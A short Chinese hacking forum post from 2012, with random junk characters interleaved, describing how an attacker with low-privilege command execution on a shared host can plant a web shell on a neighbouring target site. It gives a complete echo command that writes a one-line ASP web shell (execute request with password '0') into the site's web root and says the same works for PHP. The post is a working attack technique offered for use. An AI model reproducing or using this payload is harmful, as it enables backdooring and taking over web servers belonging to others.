在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。+ _" G0 Z* y4 A8 n ]* R
1 ^* I v8 y& X5 G8 w
命令格式
- V: A$ q+ y, [& @6 X( A1 e2 o; b) T- s/ h2 P) L+ w
Echo 语句 >目标站绝对目录+ ], d5 Y0 n! ?; r& {2 G
% E% d, I( S- r( W
例如： 8 ]7 b/ `7 v! |; A% g$ d
% Y" b4 Q; z1 H6 j( c
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
% C: K+ T2 \* {( c6 c: H) e
5 q6 _7 W! k7 Q$ k% j) g- Z+ r这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。. }; P& H$ a7 {7 `
|
发表于 2012-9-23 14:40:24
收藏
支持
反对